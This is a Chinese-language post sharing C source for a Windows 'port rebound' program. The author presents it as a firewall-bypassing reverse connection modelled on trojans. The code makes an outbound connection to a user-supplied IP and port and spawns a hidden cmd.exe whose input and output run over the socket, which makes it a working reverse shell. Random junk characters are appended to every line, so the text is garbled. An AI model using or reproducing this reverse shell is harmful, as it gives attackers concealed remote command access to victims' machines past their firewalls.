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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [)n}!5fE  
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/* ============================== 0EXNq*=EE  
Rebound port in Windows NT y/eX(l<{  
By wind,2006/7 k]pD3.QJ  
===============================*/ ;jI"|v{vnS  
#include "\?G  
#include y:[]+  
%Oqe7Cx>+  
#pragma comment(lib,"wsock32.lib") k|'Mh0G0  
caD;V(  
void OutputShell(); va2A@U  
SOCKET sClient; IQ~7vk()  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mkzk$_  
=A 6O}0z  
void main(int argc,char **argv) %=y3  
{ Q}]kw}b  
WSADATA stWsaData; j],.`Y  
int nRet; tta0sJ8 i  
SOCKADDR_IN stSaiClient,stSaiServer; tdF[2@?+  
F:GKnbY  
if(argc != 3) ~la04wR28  
{ >Fk `h=Wd  
printf("Useage:\n\rRebound DestIP DestPort\n"); T?{9Z  
return; v=-3 ,C  
} Qp&yS U8  
h xJgxM  
WSAStartup(MAKEWORD(2,2),&stWsaData); :=v{inN  
#q.G_-H4J@  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6*33k'=;F  
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stSaiClient.sin_family = AF_INET; Y_hRL&u3W  
stSaiClient.sin_port = htons(0); AiHf?"EVT  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6 <S&~q  
[;YBX] t  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K/ m)f#  
{ u@u.N2H.%  
printf("Bind Socket Failed!\n"); )uuEOF"w  
return; chzR4"WZFt  
} D-:<]D:  
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stSaiServer.sin_family = AF_INET; 5THS5'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B/kn&^z$|~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K(fLqXE%  
g_c)Ts(  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) bv>lm56  
{ jZ,[{Z(N   
printf("Connect Error!"); h!CX`pBM  
return; wD^do  
} YKOO(?lv  
OutputShell(); &})d%*n  
} U*"cf>dB(  
vD9D:vK  
void OutputShell() 05I39/T%  
{ A=]F_  
char szBuff[1024]; 810<1NP  
SECURITY_ATTRIBUTES stSecurityAttributes; 3N0X?* (x|  
OSVERSIONINFO stOsversionInfo; E?4@C"Na  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; q)xl$*g  
STARTUPINFO stStartupInfo; v |2q2bz  
char *szShell; Q4LlToHn  
PROCESS_INFORMATION stProcessInformation; - zw{<+;  
unsigned long lBytesRead; ^J~A+CEf"W  
TM}'XZ&  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?i EXFYJG  
dN/ "1%9)  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l~!fQ$~  
stSecurityAttributes.lpSecurityDescriptor = 0; yx w27~  
stSecurityAttributes.bInheritHandle = TRUE; rnv7L^9^A  
b\j&!_   
|$?Ux,(6  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \(U"_NPp  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T_tDpq_|  
f"<@6Axq  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7h#faOP  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7e{X$'  
stStartupInfo.wShowWindow = SW_HIDE; SA+%c)j29  
stStartupInfo.hStdInput = hReadPipe; L[Yp\[#-q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {F+M&+``  
s?x>Yl %  
GetVersionEx(&stOsversionInfo); (X_,*3Yxk  
.>64h H  
switch(stOsversionInfo.dwPlatformId) 0mD;.1:  
{ hi D7tb=g~  
case 1: m|2]lb  
szShell = "command.com"; $< K)fbG  
break; hN:F8r+DG  
default: 5ZyBP~  
szShell = "cmd.exe"; Zjic"E1  
break; UQ.D!q  
} [q+e]kD  
H@2"ove-uC  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Tb0;Mbr  
PUjoi@]  
send(sClient,szMsg,77,0); Ie&b <k  
while(1) hp]ng!I{\u  
{ +fP/|A8P  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'W?v.W &  
if(lBytesRead) 3ES[ N.V#  
{ jo;uRl  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ZG/8Ds  
send(sClient,szBuff,lBytesRead,0); ]%<Q:+38  
} i B!hEbz  
else =Kt9,d08x  
{ <V:<x  
lBytesRead=recv(sClient,szBuff,1024,0); x\J;ZiWwW  
if(lBytesRead<=0) break; qM1)3.)[:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ZkB6bji  
} zdjM%l);  
} {~p7*j^0  
*)`kx   
return; :m++ iR  
}
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